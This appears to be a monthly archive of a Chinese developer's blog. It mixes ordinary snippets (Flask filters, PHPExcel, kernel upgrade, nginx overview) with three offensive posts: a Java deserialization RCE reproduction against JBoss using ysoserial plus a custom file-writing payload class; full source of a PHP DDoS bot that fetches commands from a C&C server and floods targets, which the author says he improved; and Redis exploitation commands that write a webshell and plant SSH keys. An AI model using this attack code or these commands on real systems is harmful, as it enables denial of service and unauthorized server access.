月度归档:2015年11月

openvas 修改默认跳转端口

  • vim /etc/init.d/openvas-gsa
    > 修改如下代码
    SCRIPTNAME=/etc/init.d/$NAME
    HTTP_PORT=81 #添加端口号变量
    。。。。。。。
    。。。。。。
    [ -n "$PORT_NUMBER" ] && DAEMON_ARGS="$DAEMON_ARGS --port=$PORT_NUMBER"
    [ -n "$HTTP_PORT" ] && DAEMON_ARGS="$DAEMON_ARGS --rport=$HTTP_PORT" #添加行

    > 这样修改后 默认的HTTP跳转端口就变为81,就不会和正常的HTTP服务相冲突了。
    > 更多参数请见:
    gsad --help

python代码收集mark

## 1 flask 中jinjia2的日期格式化
* 添加filter到app的环境变量中
“`python
#unix日期格式化。并可提供到jinjia模板中
def dateformat(value, format=”%Y-%m-%d %H:%M:%S”):
value=int(value)
value = time.localtime(value)
return time.strftime(format,value)
app = Flask(__name__)
app.debug = True
app.jinja_env.filters[‘dateformat’] = dateformat
………..
@app.route(‘/test’)
def test():
abc=’1447405576′
return render_template(‘t.html’,info=abc)
#in template
{% include “head.html” %}

  • {{info|dateformat(“%Y-%m-%d”)}}

{% include “footer.html” %}
“`

#代理校验 proxy

import json
from requests import *
import time

#vproxy 来自https://github.com/fate0/getproxy
proxyresult=[]
def checka():
    for proxy in open("vproxy.txt"):
        proxyobj = json.loads(proxy)
        _validate_proxy(proxyobj)
    print "the end"

def _validate_proxy(proxy):
    country = proxy.get('country')
    host = proxy.get('host')
    port = proxy.get('port')
    scheme=proxy.get('type')

    proxy_hash = '%s://%s:%s' % (scheme, host, port)
    request_proxies = {
        scheme: "%s:%s" % (host, port)
    }
    request_begin = time.time()
    #"%s://httpbin.org/get?show_env=1&cur=%s" % (scheme, request_begin),
    try:
        response_json = get(
            "%s://www.so-cools.com/get?show_env=1&cur=%s" % (scheme, request_begin),
            proxies=request_proxies,
            timeout=5
        ).json()
    except:
        return

    request_end = time.time()

    if str(request_begin) != response_json.get('args', {}).get('cur', ''):
        return
    print {'host':host,'port':port,'scheme':scheme,'response_time':request_end-request_begin}
    proxyresult.append({'host':host,'port':port,'scheme':scheme,'response_time':request_end-request_begin})


checka()
proxyresult.sort(key = lambda x:x["response_time"])
print proxyresult

#快速指数算法

def quick_mod(a,p,n):   
    result = a % n  
    remainders = []  
    while p != 1:  
        remainders.append(p & 1)  
        p = p >> 1  
    print(remainders)  
    while remainders:  
        rem = remainders.pop()  
        result = ((a ** rem) * result ** 2) % n  
    return result  


#xx=quick_mod(225,29,323)       
#xx=quick_mod(2,56,1001)
#xx=quick_mod(62,65,133)
#xx=quick_mod(2,1000,89)
#xx=quick_mod(3,201,11)
#xx=quick_mod(4,201,11)
xx=quick_mod(2,1000,89)
print xx

代码片断收集

1 生成excel

<?php
include "PHPExcel.php";
$lines=file("result351.txt");
$objPHPExcel = new PHPExcel();
$num=1;
$objPHPExcel->getActiveSheet()->setCellValue('A'.$num, "线上开始时间");
$objPHPExcel->getActiveSheet()->setCellValue('B'.$num, "线上结束时间");
$objPHPExcel->getActiveSheet()->setCellValue('C'.$num, "excel开始时间");
$objPHPExcel->getActiveSheet()->setCellValue('D'.$num, "excel结束时间");
$objPHPExcel->getActiveSheet()->setCellValue('E'.$num, "合同号");
$num=2;

foreach($lines as $v){
    $line_array=explode('|',$v);
    $online_startime=$line_array[0];
    $online_stoptime=$line_array[1];
    $excel_startime=$line_array[2];
    $excel_stoptime=$line_array[3];
    $online_startime_array=explode(':',$online_startime);
    $a_online_startime=$online_startime_array[1];
    $online_stoptime_array=explode(':',$online_stoptime);
    $a_online_stoptime=$online_stoptime_array[1];
    $excel_startime_array=explode(":",$excel_startime);
    $a_excel_startime=$excel_startime_array[1];
    $excel_stoptime_array=explode(":",$excel_stoptime);
    $a_excel_stoptime=$excel_stoptime_array[1];

    list($xx,$htnum)=explode(":",$line_array[4]);

    $objPHPExcel->getActiveSheet()->setCellValue('A'.$num, $a_online_startime);
    $objPHPExcel->getActiveSheet()->setCellValue('B'.$num, $a_online_stoptime);
    $objPHPExcel->getActiveSheet()->setCellValue('C'.$num, $a_excel_startime);
    $objPHPExcel->getActiveSheet()->setCellValue('D'.$num, $a_excel_stoptime);
    $objPHPExcel->getActiveSheet()->setCellValue('E'.$num, $htnum);
    $num=$num+1;
}
$name="11111";
header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment;filename="'.$name.'.xls"');
header('Cache-Control: max-age=0');
$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
$objWriter->save('php://output');

//php二维数组排序 
    usort($array, function($a, $b) {
        $astimel = strtotime($a['start_time']);
        $bstimel = strtotime($b['start_time']);
        if ($astimel == $bstimel)
            return 0;
        return ($astimel < $bstimel) ? -1 : 1;
    });



//phpexcel导入 

require_once('PHPExcel/IOFactory.php');
$filePath = '123.xls';
$fileType = PHPExcel_IOFactory::identify($filePath); //文件名自动判断文件类型
$objReader = PHPExcel_IOFactory::createReader($fileType);
$objPHPExcel = $objReader->load($filePath);

$currentSheet = $objPHPExcel->getSheet(0); //第一个工作簿
$allRow = $currentSheet->getHighestRow(); //行数
$result=array();
for($currentRow = 2;$currentRow<=$allRow;$currentRow++) {
    $name = (string)$currentSheet->getCell('G'.$currentRow)->getValue();//
    $jc = (string)$currentSheet->getCell('AG'.$currentRow)->getValue();//
    $bh = (string)$currentSheet->getCell('D'.$currentRow)->getValue();//编号
    $contract_number = (string)$currentSheet->getCell('E'.$currentRow)->getValue();
    //$startime = excelTime($currentSheet->getCell('J'.$currentRow)->getValue());
    $startime=gmdate("Y-m-d H:i:s",PHPExcel_Shared_Date::ExcelToPHP($currentSheet->getCell('J'.$currentRow)->getValue()));
    //$endtime = excelTime($currentSheet->getCell('K'.$currentRow)->getValue());
    $endtime=gmdate("Y-m-d H:i:s",PHPExcel_Shared_Date::ExcelToPHP($currentSheet->getCell('K'.$currentRow)->getValue()));
    if(empty($bh)){
        continue;
    }
    mysql_query("insert into info set company_name='{$name}',jc='{$jc}',supplier_number='{$bh}',contract_number='{$contract_number}',startime='{$startime}',endtime='{$endtime}' ");
}

#php计算两个日期之间的天数,并遍历出具体的天数

<?php
$t_min = 1473621998;
$t_max = 1479961998;

//by the way 1
$d_min = date('Y-m-d',$t_min);
$d_max = date('Y-m-d',$t_max);
$d_min_unix = strtotime($d_min);
$d_max_unix = strtotime($d_max);

$t_current = $d_min_unix;
while ($t_current <= $d_max_unix){
    $tmp = date('Y-m-d',$t_current);
    echo $tmp."<br>";
    $t_current = strtotime("+1 day",$t_current);
}


//by the way 2
for($curent=$t_min;$curent<=$t_max;$curent=strtotime("+1 day",$curent)){
    $tmp = date('Y-m-d',$curent);
    echo $tmp."<br>";
}

java objectinputstream rce漏洞的原理简单介绍与重现

java objectinputstream rce漏洞的原理简单介绍与重现

1.原理 (跟php的反序列化的对象注入很类似)

> 一些web应用会使用objectinputstream去作反序列化,接收用户输入,开发者一般会用objectinputstream去读入一个特定的对象,比如是某种javabean之类的.
> 但攻击者完全可以提供其他对象序列化之后的bytestream, 因为java的特性, 虽然这个读入的object最终会在类型转换时出现classcastexception,但这个对象事实上已经创建了,其构造函数和类构造函数都已经被调用,也就是事实上已经有了受限制的函数执行
> 那么下面就是找哪些类的构造函数,提供了执行代码的能力? 研究者们发现了如果一个应用classpath中使用了common-collections,那么就有了非常好用的ChainedTransformer和InvokerTransformer,后者甚至构造函数中直接提供了根据传入的类名和函数名反射执行之的能力!
> 这几个Transformer实现了transform函数,其中InvokerTransformer根据对象构造时提供的参数反射执行之,ChaindTransformer将几个transformer串起来线性执行.
> 那么谁来调用这些transformer? TransformedMap可以接受这些transformer作为参数, 在调用其setValue函数时,就会去执行transformer,触发代码执行.
> 那么谁又来调用这个transformedMap的setValue? 到目前为止我们只是埋好了雷,需要一个会自己踩上去的, 而且还是serializable的, 并且其实现了自定义的反序列化函数,在函数中接受传入的TransformedMap并调用了setValue
> sun.reflect.annotation.AnnotationInvocationHandler满足这些条件!
> 于是, exp就是构造一个AnnotationInvocationHandler,将含有攻击代码(runtime.exec)的transformer集合在一起作为map, 传入给handler作为参数.将此handler序列化为bytestream,直接发送给被攻击的web应用!
> 也就是说,这里common-collections库只是提供了代码执行的一个vector,就像ROP/JOP这些内存破坏漏洞利用技巧一样,但其并不是真正的漏洞.漏洞还是开发者在对外暴露的接口上自己随意使用ObjectInputStream

漏洞重现

  • 安装JAVA环境先,然后安装JBOSS
    shell
    wget -O jboss-4.2.3.zip http://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download
    unzip jboss-4.2.3.zip
    mv jboss-4.2.3.GA /usr/local/share/jboss
    adduser appserver
    chown -R appserver /usr/local/share/jboss
    su -l appserver
    cd /usr/local/share/jboss/bin
    ./run.sh -b 0.0.0.0
  • exploit 利用程序
    shell
    wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar
    java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwned' &gt; /tmp/payload
    curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet
  • 测试
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet
  • 生成文件POC
    java
    package ysoserial.payloads;
    import java.lang.reflect.InvocationHandler;
    import java.util.HashMap;
    import java.util.Map;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.util.Gadgets;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    @SuppressWarnings({"rawtypes", "unchecked"})
    @Dependencies({"commons-collections:commons-collections:3.1"})
    public class CommonsCollections1file extends PayloadRunner implements ObjectPayload{
    public InvocationHandler getObject(final String command) throws Exception {
    final String[] argcs = command.split("#xxoo#");
    String[] file_content=new String[]{};
    String file_path="";
    try {
    file_path = argcs[0];
    file_content = new String[] {argcs[1]};
    }catch (Exception e){
    System.out.println("Wrong parameters!");
    System.exit(0);
    }
    if (file_path.length()==0 || file_content.length==0) {
    System.out.println("Wrong parameters!");
    System.exit(0);
    }
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(java.io.PrintWriter.class),
    new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] {
    new Class[]{String.class}}),
    new InvokerTransformer("newInstance", new Class[] {
    Object[].class}, new Object[] {new Object[]{file_path}}),
    new InvokerTransformer("append",
    new Class[] { CharSequence.class }, file_content),
    new InvokerTransformer("close",
    new Class[]{}, new Object[]{}),
    new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    return handler;
    }
    public static void main(final String[] args) throws Exception {
    PayloadRunner.run(CommonsCollections1file.class, args);
    }
    }
      参考

php ddos 也玩 C & C

php ddos 也玩 C & C

木马C&C思路运用得很早。像什么灰鸽子等,后来各种新技术的出现。C&C控制木马技术运行得更加灵活。
前几天在一国外服务器找到一个PHPDDOS的样本,就类似思路, 就相当于有一个任务服务器。 phpddos脚本直接去取任务就OK了,
原代码写得太烂,估计是查查资料写的。所有就对原代码作了下简单优化。

<?php
set_time_limit(0);
ignore_user_abort(true);
function genstring($length, $letters = '1234567890QWERTYUIOPASDFGHJKLZXCVBNM'){
    $s = '';
    $lettersLength = strlen($letters)-1;
    for($i = 0 ; $i < $length ; $i++)
    {
        $s .= $letters[rand(0,$lettersLength)];
    }
    return $s;
}
$fp = fsockopen("xxx.xxx.xxx.xxx",53,$errno,$errstr,30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
    exit;
}
$result=array();
$i=0;
while (!feof($fp)) {
    $command =  fgets($fp, 128);
    $result[]=$command;
}
fclose($fp);
while(1){
    foreach($result as $v){
        if(!$v){
            continue;
        }
        switch ($v){
            case stristr($v,'dup'):
                exit;
                break;
            case stristr($v,'LOLNOGTFO'):
                exit;
                break;
            case strstr($v,'UDP'):
                udp($v);
                break;
            case strstr($v,'TCP'):
                tcp($v);
                break;
            case strstr($v,'SOURCE'):
                source($v);
                break;
            case strstr($v,'HTTP'):
                http($v);
                break;
            case strstr($v,'CF'):
                cf($v);
                break;
        }
    }
}
//udp flood
function udp($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[4];
    $port = $commands[3];
    $packetsize = $commands[6];
    $envtime = time();
    $max_time = $envtime+$time;
    $packetsend = genstring($packetsize);
    $fp2 = fsockopen("udp://" . $ip, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            fwrite($fp2, $packetsend);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break ;
        }
    }
}
//tcp flood
function tcp($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[4];
    $port = $commands[3];
    $packetsize = $commands[6];
    $envtime = time();
    $max_time = $envtime+$time;
    $packetsend = genstring($packetsize);
    $fp2 = fsockopen("tcp://" . $ip, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            fwrite($fp2, $packetsend);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break;
        }
    }
}
//source
function source($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[4];
    $port = $commands[3];
    $packetsize = $commands[6];
    $envtime = time();
    $max_time = $envtime+$time;
    $fp2 = fsockopen("udp://" . $ip, $port, $errno, $errstr);
    $packetsend = genstring($packetsize);
    while(1){
        if (!$fp2) {
        } else {
            fwrite($fp2, "\xFF\xFF\xFF\xFF\x54");
            fwrite($fp2, "\xFF\xFF\xFF\xFF\x55");
            fwrite($fp2, "\xFF\xFF\xFF\xFF\x56");
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break;
        }
    }
}
//http
function http($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[6];
    $port = $commands[5];
    $website = $commands[3];
    $page = $commands[4];
    $envtime = time();
    $max_time = $envtime+$time;
    $fp2 = fsockopen("tcp://" . $ip, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            $out = "GET ". $page . "?" . rand(1,50000000)." HTTP/1.1\r\n";
            $out .= "Host: " . $website ."\r\n";
            fwrite($fp2, $out);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break;
        }
    }
}
//cf
function cf($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $ip2 = $commands[3];
    $time = $commands[7];
    $port = $commands[6];
    $website = $commands[4];
    $page = $commands[5];
    $envtime = time();
    $max_time = $envtime+$time;
    $fp2 = fsockopen("tcp://" . $ip, $port, $errno, $errstr);
    $fp3 = fsockopen("tcp://" . $ip2, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            $out = "GET ". $page . "?" . rand(1,50000000)." HTTP/1.1\r\n";
            $out .= "Host: " . $website ."\r\n";
            fwrite($fp2, $out);
            fwrite($fp3, $out);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            fclose($fp3);
            break;
        }
    }
}
?>

由于XXXX 服务控制端的代码就不贴了。以免有放发黑客工具的嫌疑

阿里云 centos 6.5 yum 升级内核

阿里云 centos 6.5 yum 升级内核

centos6.5的内核版本太低,不想重做系统,编译源码太累,所以直接yum

  1. 先添加yum源

    centos 7:

    rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm
    

    centos 6.x

    rpm -Uvh http://www.elrepo.org/elrepo-release-6-6.el6.elrepo.noarch.rpm
    

    导入KEY

    rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org
    
  2. yum安装

    yum --enablerepo=elrepo-kernel install kernel-lt
    
  3. 修改grub

    vi /etc/grub.conf 修改默认的启动内核,新安装的内核一般在第一个,这里把default = 1 改为 default = 0 就好了

  4. 最后重启系统

    uname -a 查看内核版本号是否升级成功

nginx被使用的常见功能

nginx被使用的常见功能

>Nginx (“engine x”)是一个高性能的HTTP和反向代理服务器,也是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器

1.负载均衡实现可扩展的浏量管理

>通过Nginx实现负载均衡将给你所需要的控制权,用来管理并扩展您的Web和移动应用。它提供了一个完整的基于软件应用的分发平台的解决方案,只消耗一小部分的硬件来平衡HTTP和TCP应用的负载。最大限度地提高您的网站和应用程序的可用性和可靠性,并尽量减少失望的客户和损失的收入。

2.改造升级的Web服务器

>Nginx是现代Web应用的HTTP操作系统。无论是分发内容还是流媒体视频或音频,或者部署复杂的Web服务,Nginx都是连接用户和应用的最佳平台。Nginx的高性能,高效率的HTTP处理引擎负责处理桌面,移动,和API交互,而这些任务都能在路由转发请求到正确的服务之前进行有效处理。企业部署Nginx来管理与HTTP相关的复杂度和风险,使他们的Web应用程序变得反应更灵敏,扩展性更强,更快速,更安全。

3.快速和可扩展的视频传送

>如果有人正在销售一个产品,培训一个新的用户,或提供一个企业信息。然而,提供高质量的视频内容给多样化的客户群是个问题,因为在这样的情况下交付质量容易迅速降低。用户希望你的视频在任何设备上能立即加载,就像世界上最流行的媒体一样。
Nginx可以帮助一些世界领先的流媒体公司提供快速、完美的内容。通过Nginx,可以可靠地将流视频和音频内容转发的任何设备–通过适当的访问控制,带宽管理和会话持久性可以进一步增强这个特性。

4.加速Web和移动端性能

>Nginx是功能强大的Web加速解决方案来提升网站和应用的性能。通过Nginx,你的网页加载速度更快所以您的客户花费更少的时间等待,从而提高客户满意度,转换率,和收入。

5.保护应用安全

>保护网络应用不仅是保护数据,而且也意味着保持网站在面对恶意流量能正常运行。Nginx软件包就结合了这两个特点来为网站和应用提供全面的保护。

6.为API提供安全保障和使用策略

>随着API在应用程序内爆炸式地增长,确保他们的受保护,被追踪它,和可量化变得非常关键。Nginx是一个管理安全的基于HTTP API流量的可信平台。通过领先的API管理平台的杠杆,Nginx将提供快速,可靠,可扩展,和安全的API为基础的服务。

7.取代昂贵的ADC硬件负载平衡器

>Nginx是一个完整的软件应用分发平台,只需要少量地消耗ADC硬件,就能获得利用商品硬件或云基础设施得到相同的功能和性能。由于在吞吐量和连接方面没有限制,Nginx允许应用充分发挥自身的潜能。

redis安全利用

redis安全利用

利用前提

  • redis没有设置登陆密码,或者已经知道了redis的密码信息
  • 对应的目录有权限,redis以root权限启动或者目标目录的权限为777

写webshell

  • 开了web并且知道路径(比如:phpinfo)
  • 连接上redis控制台 执行如下命令
    config set dir /home/wwwroot/default/
    config set dbfilename redis.php
    set webshell "<?php phpinfo(); ?>"
    save

SSH远程连接

  • 先生成本地的公私密钥

    ssh-keygen -t rsa
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
    
  • 先清空缓存和设置生成文件路径

    redis-cli -h 172.17.0.2 flushall
    cat foo.txt | redis-cli -h 172.17.0.2 -x set crackit
    redis-cli -h 172.17.0.2
    config set dir /home/yzy/.ssh/
    config set dbfilename "authorized_keys"
    save
    
  • 注意:此种方法需要先清空全部缓存,比较暴力哦!!